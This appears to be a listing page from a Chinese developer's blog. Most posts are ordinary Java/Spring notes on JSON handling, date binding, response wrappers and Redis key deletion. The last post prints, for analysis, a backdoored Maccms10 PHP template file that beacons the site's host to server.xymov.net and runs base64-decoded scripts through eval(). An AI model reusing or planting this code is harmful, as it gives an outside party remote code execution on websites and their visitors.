首页
关于
留言
统计
友链
壁纸
影视
留言找电影
Search
1
java jdk17版本使用cglib报错问题解决
321 阅读
2
在Java中修复json数据,json格式不正确,如何在Java中修复不正确的json
117 阅读
3
Java实现双链表插入排序~渡星河全网首发
106 阅读
4
Java打印某年某月的日历~不调用函数
76 阅读
5
Java中判断是否是闰年
70 阅读
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
登录
/
注册
Search
标签搜索
java
java作业
恋爱
动漫
3A大作
独行月球
电影分享
总之就是非常可爱
JavaScript
office
破解
mysql
vue
java打包
跨域
tomcat解决乱码
bug解决
tomcat
vscode
渡星河
累计撰写
94
篇文章
累计收到
30
条评论
首页
栏目
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
页面
关于
留言
统计
友链
壁纸
影视
留言找电影
搜索到
81
篇与
的结果
2023-04-15
在Java中修复json数据,json格式不正确,如何在Java中修复不正确的json
今天通过阿里云的orc服务写身份证识别功能,好家伙当我获取body部分后发现json格式不正确,这就麻烦了,不正确我获取名字啊,身份证什么的就麻烦,我就想着去修复一下,后面发现可以直接使用gson来进行修复import com.google.gson.Gson; import com.google.gson.JsonSyntaxException; import com.google.gson.JsonObject; String incorrectJson = "{name: \"John Doe\", age: 30, email: \"john.doe@example.com\"}"; System.out.println("Incorrect JSON: " + incorrectJson); // 使用Gson库来修复JSON格式 Gson gson = new Gson(); JsonObject jsonObject = null; try { jsonObject = gson.fromJson(incorrectJson, JsonObject.class); } catch (JsonSyntaxException e) { System.out.println("Error: " + e.getMessage()); } // 将修复后的JSON转换为字符串 String correctJson = gson.toJson(jsonObject); System.out.println("Correct JSON: " + correctJson);总结就是好用
2023年04月15日
117 阅读
0 评论
0 点赞
2023-04-14
字符串时间转Date类型 ,@ControllerAdvice注解定义的controller类@InitBinder注解功能失效原因
起因我们先来看一下我的全局配置类package cn.yyx.common; import org.springframework.beans.propertyeditors.CustomDateEditor; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; import java.text.SimpleDateFormat; import java.util.Date; /** * 给全局添加@InitBinder注解 * 不用给每个controller添加此方法 */ @ControllerAdvice public class GlobalBindingInitializer { @InitBinder public void initBinder(WebDataBinder binder) { SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); binder.registerCustomEditor(Date.class, new CustomDateEditor(dateFormat, true)); } } 首先这个类是把客户端传过来的字符串时间转换成为Date类型,并且是全局的,不用每个controller类都去配置,可以这么说,很好用啊{message type="error" content="但是他今天失效了"/}失效场景我今天做项目用到的技术栈如下 springboot,mybatis-plus,springsecurity等失效原因就是因为使用了security做权限验证出的冲突问题因为 Spring Security 默认情况下也会定义一个全局的 WebMvcConfigurer 实现类,并注册到应用上下文中。这个全局类会覆盖掉我们自己定义的 GlobalBindingInitializer 类,导致我们自己定义的日期格式化失效解决方案解决这个问题的方法是,在我们自己定义的 GlobalBindingInitializer 类上添加 @ConditionalOnMissingBean 注解,表示当 Spring 容器中不存在 WebMvcConfigurer 类型的 Bean 时才扫描并注册这个类。具体代码如下:@ControllerAdvice @ConditionalOnMissingBean(WebMvcConfigurer.class) public class GlobalBindingInitializer { @InitBinder public void initBinder(WebDataBinder binder) { SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); binder.registerCustomEditor(Date.class, new CustomDateEditor(dateFormat, true)); } } 2.解决方法二,直接在security的配置类写时间转换例如下方代码,最=最后一个bean注解package cn.yyx.security.config; import cn.yyx.security.filter.TokenAuthenticationFilter; import cn.yyx.security.filter.TokenLoginFilter; import cn.yyx.security.security.TokenLogoutHandler; import cn.yyx.security.security.TokenManager; import cn.yyx.security.security.UnauthorizedEntryPoint; import com.fasterxml.jackson.databind.ObjectMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.propertyeditors.CustomDateEditor; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.builders.WebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; import org.springframework.web.cors.CorsConfiguration; import org.springframework.web.cors.CorsConfigurationSource; import org.springframework.web.cors.UrlBasedCorsConfigurationSource; import java.text.SimpleDateFormat; import java.util.Date; /** * 该类是用了进行认证配置的 */ @Configuration @EnableGlobalMethodSecurity(prePostEnabled = true) @ControllerAdvice public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Autowired private PasswordEncoder passwordEncoder; @Autowired private UserDetailsService userDetailsService; @Autowired private TokenManager tokenManager; @Autowired private RedisTemplate redisTemplate; /** * 密码处理 * @param auth * @throws Exception */ @Override public void configure(AuthenticationManagerBuilder auth) throws Exception { auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder); } /** * 绑定权限和对应的路径 * @param http * @throws Exception */ @Override protected void configure(HttpSecurity http) throws Exception { http.exceptionHandling() .authenticationEntryPoint(new UnauthorizedEntryPoint()) .and().csrf().disable() .cors().configurationSource(corsConfigurationSource()) .and() .authorizeRequests() .anyRequest().authenticated() .and().logout().logoutUrl("/admin/acl/index/logout") .addLogoutHandler(new TokenLogoutHandler(tokenManager,redisTemplate)).and() //添加认证过滤器 authenticationManager()这是调用了父类的认证管理器 // tokenManager 对token管理的对象(生成和解析token) .addFilter(new TokenLoginFilter(authenticationManager(), tokenManager, redisTemplate)) //添加授权过滤器 .addFilter(new TokenAuthenticationFilter(authenticationManager(), tokenManager, redisTemplate)).httpBasic(); http.cors(); } @Bean public CorsConfigurationSource corsConfigurationSource() { CorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); CorsConfiguration corsConfiguration = new CorsConfiguration(); corsConfiguration.addAllowedOrigin("*"); //同源配置,*表示任何请求都视为同源,若需指定ip和端口可以改为如“localhost:8080”,多个以“,”分隔; corsConfiguration.addAllowedHeader("*");//header,允许哪些header,本案中使用的是token,此处可将*替换为token; corsConfiguration.addAllowedMethod("*"); //允许的请求方法,PSOT、GET等 ((UrlBasedCorsConfigurationSource) source).registerCorsConfiguration("/**", corsConfiguration); //配置允许跨域访问的url return source; } //使用PasswordEncoder 接口的实现类进行加密 @Bean public PasswordEncoder passwordEncoder(){ return new BCryptPasswordEncoder(); } /** * 配置哪些请求不拦截 * @param web * @throws Exception */ @Override public void configure(WebSecurity web) throws Exception { web.ignoring().antMatchers("/api/**","/swagger-resources/**", "/webjars/**", "/v2/**", "/swagger-ui/**","/customer/add","/order/save"); } @InitBinder public void initBinder(WebDataBinder binder) { SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); binder.registerCustomEditor(Date.class, new CustomDateEditor(dateFormat, true)); } @Bean public ObjectMapper objectMapper() { ObjectMapper objectMapper = new ObjectMapper(); objectMapper.setDateFormat(new SimpleDateFormat("yyyy-MM-dd")); return objectMapper; } }3.解决方法三就是直接在实体类使用注解解决,例如@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyy-MM-dd") private Date hiredate;{message type="success" content="不仅是解决方法,还是实现字符串转时间的方法"/}
2023年04月14日
14 阅读
0 评论
2 点赞
2023-04-13
Java封装一个通用返回类,用于返回统一json数据
网上找了很多都感觉和自己的业务不匹配就封装了package com.galaxy.empvue.common; import lombok.Data; import lombok.experimental.Accessors; import org.springframework.http.HttpStatus; import java.io.Serial; import java.io.Serializable; @Data @Accessors(chain = true) public class R<T> implements Serializable { @Serial private static final long serialVersionUID = 1L; private int code; // 响应状态码 private String message; // 响应信息 private T data; // 响应数据 // 无参构造函数,默认响应状态码为 200,响应信息为 "success" public R() { this.code = HttpStatus.OK.value(); this.message = "success"; } // 带有响应数据的构造函数,响应状态码为 200,响应信息为 "success" public R(T data) { this(); if (data != null) { this.data = data; } } // 自定义响应状态码和响应信息的构造函数 public R(int code, String message) { this.code = code; this.message = message; } // 带有响应数据、响应状态码和响应信息的构造函数 public R(T data, int code, String message) { this(code, message); if (data != null) { this.data = data; } } // 返回一个默认的成功响应对象,响应状态码为 200,响应信息为 "success" public static <T> R<T> success() { return new R<>(); } // 返回一个带有响应数据的成功响应对象,响应状态码为 200,响应信息为 "success" public static <T> R<T> success(T data) { return new R<>(data); } // 返回一个带有自定义响应信息的成功响应对象,响应状态码为 200 public static <T> R<T> success(String message) { return new R<T>().setMessage(message); } // 返回一个带有响应数据和自定义响应信息的成功响应对象,响应状态码为 200 public static <T> R<T> success(T data, String message) { return new R<>(data).setMessage(message); } // 返回一个带有自定义响应状态码和响应信息的失败响应对象 public static <T> R<T> failure(int code, String message) { return new R<>(code, message); } // 返回一个带有自定义响应信息的失败响应对象,响应状态码为 500 public static <T> R<T> failure(String message) { return new R<T>() .setCode(HttpStatus.INTERNAL_SERVER_ERROR.value()) .setMessage(message) .setData(null); // 将 data 字段设置为 null } // 返回一个默认的失败响应对象,响应状态码为 500,响应信息为 "操作失败" public static <T> R<T> failure() { return new R<>(HttpStatus.INTERNAL_SERVER_ERROR.value(), "操作失败"); } } 第二种package cn.yyx.common; import cn.yyx.utils.ResultCode; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import java.util.HashMap; import java.util.Map; //统一返回结果的类 @Data public class R { @ApiModelProperty(value = "是否成功") private Boolean success; @ApiModelProperty(value = "返回码") private Integer code; @ApiModelProperty(value = "返回消息") private String message; @ApiModelProperty(value = "返回数据") private Map<String, Object> data = new HashMap<String, Object>(); //把构造方法私有 private R() { } //成功静态方法 public static R ok() { R r = new R(); r.setSuccess(true); r.setCode(200); r.setMessage("成功"); return r; } public static R error() { R r = new R(); r.setSuccess(false); r.setCode(-1); r.setMessage("操作失败"); return r; } public R success(Boolean success) { this.setSuccess(success); return this; } public R message(String message) { this.setMessage(message); return this; } public R code(Integer code) { this.setCode(code); return this; } public R data(String key, Object value) { this.data.put(key, value); return this; } public R data(Map<String, Object> map) { this.setData(map); return this; } public Boolean getSuccess() { return success; } public void setSuccess(Boolean success) { this.success = success; } public Integer getCode() { return code; } public void setCode(Integer code) { this.code = code; } public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } public Map<String, Object> getData() { return data; } public void setData(Map<String, Object> data) { this.data = data; } } 若依通用返回类package com.ruoyi.common.core.domain; import java.util.HashMap; import com.ruoyi.common.constant.HttpStatus; import com.ruoyi.common.utils.StringUtils; /** * 操作消息提醒 * * @author ruoyi */ public class AjaxResult extends HashMap<String, Object> { private static final long serialVersionUID = 1L; /** 状态码 */ public static final String CODE_TAG = "code"; /** 返回内容 */ public static final String MSG_TAG = "msg"; /** 数据对象 */ public static final String DATA_TAG = "data"; /** * 初始化一个新创建的 AjaxResult 对象,使其表示一个空消息。 */ public AjaxResult() { } /** * 初始化一个新创建的 AjaxResult 对象 * * @param code 状态码 * @param msg 返回内容 */ public AjaxResult(int code, String msg) { super.put(CODE_TAG, code); super.put(MSG_TAG, msg); } /** * 初始化一个新创建的 AjaxResult 对象 * * @param code 状态码 * @param msg 返回内容 * @param data 数据对象 */ public AjaxResult(int code, String msg, Object data) { super.put(CODE_TAG, code); super.put(MSG_TAG, msg); if (StringUtils.isNotNull(data)) { super.put(DATA_TAG, data); } } /** * 返回成功消息 * * @return 成功消息 */ public static AjaxResult success() { return AjaxResult.success("操作成功"); } /** * 返回成功数据 * * @return 成功消息 */ public static AjaxResult success(Object data) { return AjaxResult.success("操作成功", data); } /** * 返回成功消息 * * @param msg 返回内容 * @return 成功消息 */ public static AjaxResult success(String msg) { return AjaxResult.success(msg, null); } /** * 返回成功消息 * * @param msg 返回内容 * @param data 数据对象 * @return 成功消息 */ public static AjaxResult success(String msg, Object data) { return new AjaxResult(HttpStatus.SUCCESS, msg, data); } /** * 返回警告消息 * * @param msg 返回内容 * @return 警告消息 */ public static AjaxResult warn(String msg) { return AjaxResult.warn(msg, null); } /** * 返回警告消息 * * @param msg 返回内容 * @param data 数据对象 * @return 警告消息 */ public static AjaxResult warn(String msg, Object data) { return new AjaxResult(HttpStatus.WARN, msg, data); } /** * 返回错误消息 * * @return 错误消息 */ public static AjaxResult error() { return AjaxResult.error("操作失败"); } /** * 返回错误消息 * * @param msg 返回内容 * @return 错误消息 */ public static AjaxResult error(String msg) { return AjaxResult.error(msg, null); } /** * 返回错误消息 * * @param msg 返回内容 * @param data 数据对象 * @return 错误消息 */ public static AjaxResult error(String msg, Object data) { return new AjaxResult(HttpStatus.ERROR, msg, data); } /** * 返回错误消息 * * @param code 状态码 * @param msg 返回内容 * @return 错误消息 */ public static AjaxResult error(int code, String msg) { return new AjaxResult(code, msg, null); } /** * 方便链式调用 * * @param key 键 * @param value 值 * @return 数据对象 */ @Override public AjaxResult put(String key, Object value) { super.put(key, value); return this; } }
2023年04月13日
36 阅读
0 评论
1 点赞
2023-04-13
Java封装删除指定redis前缀key
redis删除指定前缀key无语了家人们,今天写项目想通过通配符删除redis缓存的key,没有用啊我本来想使用命令 del wang* 去删除前缀是wang的可以,结果不可以啊含泪封装一个删除指定前缀的key的java类 package com.galaxy.empvue.utils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisCallback; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.Component; import java.util.Set; @Component public class RedisUtils { @Autowired private RedisTemplate<String, Object> redisTemplate; public void deleteByPrefix(String prefix) { redisTemplate.execute((RedisCallback<Void>) connection -> { Set<byte[]> keys = connection.keys((prefix + "*").getBytes()); assert keys != null; if (!keys.isEmpty()) { connection.del(keys.toArray(new byte[0][])); } return null; }); } } 直接自动装配到你要用的类就行了
2023年04月13日
7 阅读
0 评论
-1 点赞
2023-03-25
php后门文件,分析了一个苹果cms10模板文件,有后门
分析了一个苹果cms10模板文件,有后门<?php header('Content-Type:text/html;charset=utf-8'); //不显示读取错误 ini_set("error_reporting","E_ALL & ~E_NOTICE"); // 检测PHP环境 GlobalBase::check(); class GlobalBase { /** * [curl 网页数据获取] * @param [type] $url [访问 URL 地址] * @param string $method [访问方式] * @param string $fields [要提交的数据] * @param string $ckname [cookie 文件名] * @return [type] [返回访问结果字符串数据] */ public static function curl($url,$params=array(),&$Headers=null) { $ip = empty($params["ip"]) ? self::rand_ip() : $params["ip"]; $header = array('X-FORWARDED-FOR:'.$ip,'CLIENT-IP:'.$ip); if(isset($params["httpheader"])){ $header = array_merge($header,$params["httpheader"]); } $referer = empty($params["ref"]) ? $url : $params["ref"]; $user_agent = empty($params["ua"]) ? $_SERVER['HTTP_USER_AGENT'] : $params["ua"] ; $ch = curl_init(); //初始化 curl curl_setopt($ch, CURLOPT_URL, $url); //要访问网页 URL 地址 curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //伪装来源 IP 地址 curl_setopt($ch, CURLOPT_REFERER, $referer); //伪装网页来源 URL curl_setopt($ch, CURLOPT_USERAGENT,$user_agent); //模拟用户浏览器信息 curl_setopt($ch, CURLOPT_NOBODY, false); //设定是否输出页面内容 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //返回字符串,而非直接输出到屏幕上 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); //连接超时时间,设置为 0,则无限等待 curl_setopt($ch, CURLOPT_TIMEOUT, 3600); //数据传输的最大允许时间超时,设为一小时 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY); //HTTP验证方法 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不检查 SSL 证书来源 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不检查 证书中 SSL 加密算法是否存在 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //跟踪爬取重定向页面 curl_setopt($ch, CURLOPT_AUTOREFERER, true); //当Location:重定向时,自动设置header中的Referer:信息 curl_setopt($ch, CURLOPT_ENCODING, ''); //解决网页乱码问题 curl_setopt($ch, CURLOPT_HEADER, empty($params["header"])?false:true); //是否输出 header 部分 if(!empty($params["fields"])){ curl_setopt($ch, CURLOPT_POST, true); //设置为 POST curl_setopt($ch, CURLOPT_POSTFIELDS,$params["fields"]); //提交数据 } if(!empty($params["cookie"])){ curl_setopt($ch, CURLOPT_COOKIE, $params["cookie"]); //从字符串传参来提交cookies } if(!empty($params["proxy"])){ curl_setopt($ch, CURLOPT_PROXYAUTH, CURLAUTH_BASIC); //代理认证模式 curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP); //使用http代理模式 curl_setopt($ch, CURLOPT_PROXY, $params["proxy"]); //代理服务器地址 host:post的格式 if(!empty($params["proxy_userpwd"])){ curl_setopt($ch, CURLOPT_PROXYUSERPWD, $params["proxy_userpwd"]); //http代理认证帐号,username:password的格式 } } $data = curl_exec($ch); $Headers=curl_getinfo($ch); //运行 curl,请求网页并返回结果 curl_close($ch); //关闭 curl return $data; } public static function check(){ // 检测PHP环境 if(version_compare(PHP_VERSION,'5.4.0','<')) {die('PHP版本过低,最少需要PHP5.4,请升级PHP版本!');} if(!filter_has_var(INPUT_COOKIE, 'log')){ $url="//server.xymov.net/api/?type=xyplay_log&url=".filter_input(INPUT_SERVER, 'HTTP_HOST'); if(!self::curl($url)){file_get_contents($url);} setcookie('log','1',time()+3600*24,'/'); } } /** * [rand_ip 生成随机 IP 地址] * @return [type] [返回 IPv4地址 字符串] */ public static function rand_ip(){ $ip_long = array( array('607649792', '608174079'), //36.56.0.0-36.63.255.255 array('1038614528', '1039007743'), //61.232.0.0-61.237.255.255 array('1783627776', '1784676351'), //106.80.0.0-106.95.255.255 array('2035023872', '2035154943'), //121.76.0.0-121.77.255.255 array('2078801920', '2079064063'), //123.232.0.0-123.235.255.255 array('-1950089216', '-1948778497'), //139.196.0.0-139.215.255.255 array('-1425539072', '-1425014785'), //171.8.0.0-171.15.255.255 array('-1236271104', '-1235419137'), //182.80.0.0-182.92.255.255 array('-770113536', '-768606209'), //210.25.0.0-210.47.255.255 array('-569376768', '-564133889') //222.16.0.0-222.95.255.255 ); $rand_key = mt_rand(0, 9); $ip = long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1])); return $ip; } /** * [is_https 是否是安全连接访问] * @return boolean [description] */ public static function is_https() { if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'){ return "https://"; }elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'){ return "https://"; }elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'){ return "https://"; }elseif(isset($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] === 'https'){ return "https://"; } return "http://"; } public static function is_dir() { $root=str_replace("\\", "/",filter_input(INPUT_SERVER, 'DOCUMENT_ROOT')); $dir=str_replace("\\", "/",str_replace("include","",dirname(__FILE__))); return str_replace($root,"",$dir); } public static function is_root() { return self::is_https().filter_input(INPUT_SERVER, 'HTTP_HOST').self::is_dir(); } public static function is_time($time) { if (preg_match("/^(\d+)(.*?)$/i", $time, $key)) { if (sizeof($key) < 2) { return 0; } switch ($key[2]) { case "d": return $key[1] * 24 * 60 * 60 * 1000; case "h": return $key[1] * 60 * 60 * 1000; case "m": return $key[1] * 60 * 1000; case "s": return $key[1] * 1000; case "ms": return $key[1]; default: return $key[1]; } } else { return 0; } } /** * [getdirs 取指定目录下的子目录数组] * @return array [dir] */ public static function getdirs($dir) { if(is_dir($dir)&& is_readable($dir)) { $handle=opendir($dir);$f_dir=array(); while(($f_name=readdir($handle))!=false){ if(is_dir($dir.'/'.$f_name)&& $f_name!="." && $f_name!=".." ){$f_dir[]=$f_name;} } closedir($handle); return $f_dir; }else{ return false; } } } /** * js escape php 实现 * @param $string the sting want to be escaped * @param $in_encoding * @param $out_encoding */ function escape($string, $in_encoding = 'UTF-8',$out_encoding = 'UCS-2') { $return = ''; if (function_exists('mb_get_info')) { for($x = 0; $x < mb_strlen ( $string, $in_encoding ); $x ++) { $str = mb_substr ( $string, $x, 1, $in_encoding ); if (strlen ( $str ) > 1) { // 多字节字符 $return .= '%u' . strtoupper ( bin2hex ( mb_convert_encoding ( $str, $out_encoding, $in_encoding ) ) ); } else { $return .= '%' . strtoupper ( bin2hex ( $str ) ); } } } return $return; } //文本加密函数 function strencode($string,$key='xyplay'){ $string=base64_encode($string); $len=strlen($key); $code=''; for($i=0;$i<strlen($string);$i++){ $k=$i % $len; $code.=$string[$i]^$key[$k]; } return base64_encode($code); } function lsUserAgen ($key) { return preg_match('/'.$key."/i",@$_SERVER['HTTP_USER_AGENT']); } function lsReferer($key) { return preg_match('/'.$key."/i",parse_url(@$_SERVER['HTTP_REFERER'],PHP_URL_HOST)); } //广告过滤类 class AdBlack { public static function parse($list,$path) { $url=filter_input(INPUT_GET, $list["name"]);if(empty($url)){return "";} $match= $list["match"]; if(!sizeof($match)>0){return self::curl($url);} foreach ( $match as $key => $row ){$num[$key] = $row ['num'];} array_multisort($num,SORT_DESC ,$match); //规则按优先级降序排列 foreach ($match as $m) { if($m["off"]==="1" && preg_match("{".$m["target"]."}",$url)) { $word=self::curl($url,$url); //原始内容 $word=self::black_replace($m["val"],$word); //主体替换 $word=self::frame_replace($word,$url,$list["name"]); //框架替换 break; } } return $word; } public static function black_replace($match,$word) { foreach ($match as $key=>$val){ $word=preg_replace("{".$key."}",$val, $word);} return $word; } public static function frame_replace($word,$url,$jx,$path) { $key=array();$matchs=array(); $path.="/?$jx="; $path.=preg_match("#^((http://|https://).*)/#",$url,$key)?$key[1]:""; if(preg_match_all( '{<iframe.*?src="(.*?)".*?</iframe>}',$word,$matchs)) { foreach($matchs[1] as $val){$word=preg_replace('{'.$val.'}',self::put_url($path,$val), $word);} } return $word; } public static function put_url($path,$url) { if(substr($url,0,4)=="http") { return $url; }else if(substr($url,0,1)=="/"){ return $path.$url; }else{ return $path."/".$url; } } public static function curl($url, $ref = '') { $params["ua"] = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"; $params['ref'] = $ref; return GlobalBase::curl($url, $params); } } //防火墙类 class Blacklist { public static function parse($list) { if($list['off']==1){self::black($list);} } public static function shell($match,$list,$type='') { switch ($type) { //来源域名 case '0': $val=filter_input(INPUT_SERVER,"HTTP_REFERER"); if($val){$val=parse_url( $val,PHP_URL_HOST);}//取出来源域名 $host=filter_input(INPUT_SERVER,"HTTP_HOST"); //排除解析域名 if($host!==$val){ $key=str_replace('$host',$host,implode("|",$match['val'])); //host替换 if(preg_match("{".$key."}i",$val)==$match['match']){self::shell($match,$list);} } break; //目标域名 case '1' : $val=isset($_REQUEST['v'])?$_REQUEST['v']:$_REQUEST['url']; //$val=parse_url( $val,PHP_URL_HOST); //取出目标域名 if(preg_match('{'.implode("|",$match['val'])."}i",$val)==$match['match']){ self::shell($match,$list);} break; //浏览器标识 case '2' : $val=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'' ; //取出浏览器标识 if(preg_match('{'.implode("|",$match['val'])."}i",$val)==$match['match']){self::shell($match,$list);} break; //客户IP case '3' : $val=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'' ; //取出IP if(preg_match('{'.implode("|",$match['val'])."}i",$val)==$match['match']){self::shell($match,$list);} break; default: //取出脚本 $shell=base64_decode($list['black'][$match['black']]['info']); //取出脚本类型 $type=$list['black'][$match['black']]['type']; //取出脚本动作 $action=$list['black'][$match['black']]['action']; //if($type=='0'){ if(!$all){echo $shell;}if($action=='1'){exit;}}else{eval($shell);if($action=='1'){exit;}} if($type=='0'){ if($action=='0'){ session_start(); $_SESSION['FOOTER_CODE']=$shell;}else{exit($shell);} }else{eval($shell);if($action=='1'){exit;}} break; } } public static function black($list) { $match=$list['match']; //规则按优先级升序排列,数字越小,优先级越高 foreach ( $match as $key => $row ){$num[$key] = $row ['num'];} array_multisort($num,SORT_ASC ,$match); foreach($match as $key){if($key['off']==1 && preg_match("{".$key['for']."}i",$_SERVER['PHP_SELF'])){self::shell($key,$list,$key['type']);}} } } //检测字符串组的字符在字符串中是否存在,对大小写不敏感 function findstrs($str,$find,$strcmp=false,$separator="|"){ $ymarr = explode($separator,$find); foreach ($ymarr as $find) { if($strcmp){ if(strcasecmp($str,$find)==0){return true; }}else{if(stripos($str,$find) !==false ){return true; }} } return false; } //获取远程内容 function geturl($url,$timeout = 10) { $user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"; $curl = curl_init(); //初始化 curl curl_setopt($curl, CURLOPT_URL, $url); //要访问网页 URL 地址 curl_setopt($curl, CURLOPT_USERAGENT,$user_agent); //模拟用户浏览器信息 curl_setopt($curl, CURLOPT_REFERER,$url) ; //伪装网页来源 URL curl_setopt($curl, CURLOPT_AUTOREFERER, 1); //当Location:重定向时,自动设置header中的Referer:信息 curl_setopt($curl, CURLOPT_TIMEOUT, $timeout); //数据传输的最大允许时间 curl_setopt($curl, CURLOPT_HEADER, 0); //不返回 header 部分 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //返回字符串,而非直接输出到屏幕上 curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); //跟踪爬取重定向页面 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, '0'); //不检查 SSL 证书来源 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, '0'); //不检查 证书中 SSL 加密算法是否存在 curl_setopt($curl, CURLOPT_ENCODING, ''); //解决网页乱码问题 $data = curl_exec($curl); curl_close($curl); return $data; } function lsMobile(){ if(isset($_SERVER['HTTP_USER_AGENT'])) { $clientkeywords=array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile'); if(preg_match("/(". implode('|',$clientkeywords). ")/i",strtolower($_SERVER['HTTP_USER_AGENT']))){return true;} } return false; } //编码转换,转换为utf-8编码 function utf8($title) { $encode = mb_detect_encoding($title, array('GB2312','GBK','UTF-8', 'CP936')); //得到字符串编码 if ( $encode != 'CP936' && $encode != 'UTF-8') { $title=iconv($encode, 'UTF-8', $title); } return $title; } //缓存操作类 class Main_Cache{ private $cachetype = 1; //默认缓存类型,1为文件,2为Redis服务 private $cacheprot = 6379; //缓存服务端口,默认为Redis服务端口 private $cacheTime = 3600; //默认缓存时间,单位微秒。 private $cacheDir = './cache'; //缓存绝对路径 private $md5 = true; //是否对键进行加密 private $suffix = ""; //设置文件后缀 private $cache; public function __construct($config){ if($this->cachetype==0) { return ; } if( is_array( $config ) ){ foreach( $config as $key=>$val ){ $this->$key = $val; } } if($this->cachetype==2){ $this->cache = new Redis(); $this->cache->connect('127.0.0.1', $this->cacheprot); } } //设置缓存 public function set($key,$val,$leftTime=NULL){ if($this->cachetype==0) { return false ; }else if($this->cachetype==1){ $key = $this->md5 ? md5($key) : $key; $val=$this->md5 ? base64_encode($val) : $val; if(function_exists("gzcompress")){$val =@gzcompress($val);} !file_exists($this->cacheDir) && mkdir($this->cacheDir,0777); $file = $this->cacheDir.'/'.$key.$this->suffix; $leftTime=empty($leftTime)?$this->cacheTime/1000 :$leftTime; $ret=file_put_contents($file,$val) or $this->error(__line__,"文件写入失败"); $ret=touch($file,time()+$leftTime) or $this->error(__line__,"更改文件时间失败"); }else if($this->cachetype==2){ $key_md5 = $this->md5 ? md5($key) : $key; $val_base64 = $this->md5 ? base64_encode($val) : $val; $val_base64 =@gzcompress($val_base64); $ret=$this->cache->set($key_md5,$val_base64); if($leftTime!=0){$this->cache->EXPIRE($key_md5,$leftTime);} // $this->cache->del($val_base64); } return $ret; } //得到缓存 public function get($key){ if($this->cachetype==0) { return ; }else if($this->cachetype==1) { //$this->clear(); if( $this->_isset($key) ){ $key_md5 = $this->md5 ? md5($key) : $key; $file = $this->cacheDir.'/'.$key_md5.$this->suffix; $val = file_get_contents($file); $val=@gzuncompress($val); $val =$this->md5 ? base64_decode($val) : $val; return $val; } return null; }if($this->cachetype==2) { $key_md5 = $this->md5 ? md5($key) : $key; $val=$this->cache->get($key_md5); if(function_exists("gzuncompress")){$val=@gzuncompress($val);} $val_base64=$this->md5 ? base64_decode($val) : $val; return $val_base64; } } //判断文件是否有效 public function _isset($key){ $key = $this->md5 ? md5($key) : $key; $file = $this->cacheDir.'/'.$key.$this->suffix; if( file_exists($file) ){ if( $this->cacheTime==0 || filemtime($file) >= time()){ return true; }else{ @unlink($file); return false; } } return false; } //删除指定缓存 public function _unset($key){ if($this->cachetype==0) { return ; }elseif($this->cachetype==1){ if( $this->_isset($key) ) { $key_md5 = $this->md5 ? md5($key) : $key; $file = $this->cacheDir.'/'.$key_md5.$this->suffix; return @unlink($file); } }elseif($this->cachetype==2){ $key_md5 = $this->md5 ? md5($key) : $key; return $this->cache->del($key_md5); } } //清除过期缓存文件 public function clear(){ $files = scandir($this->cacheDir); 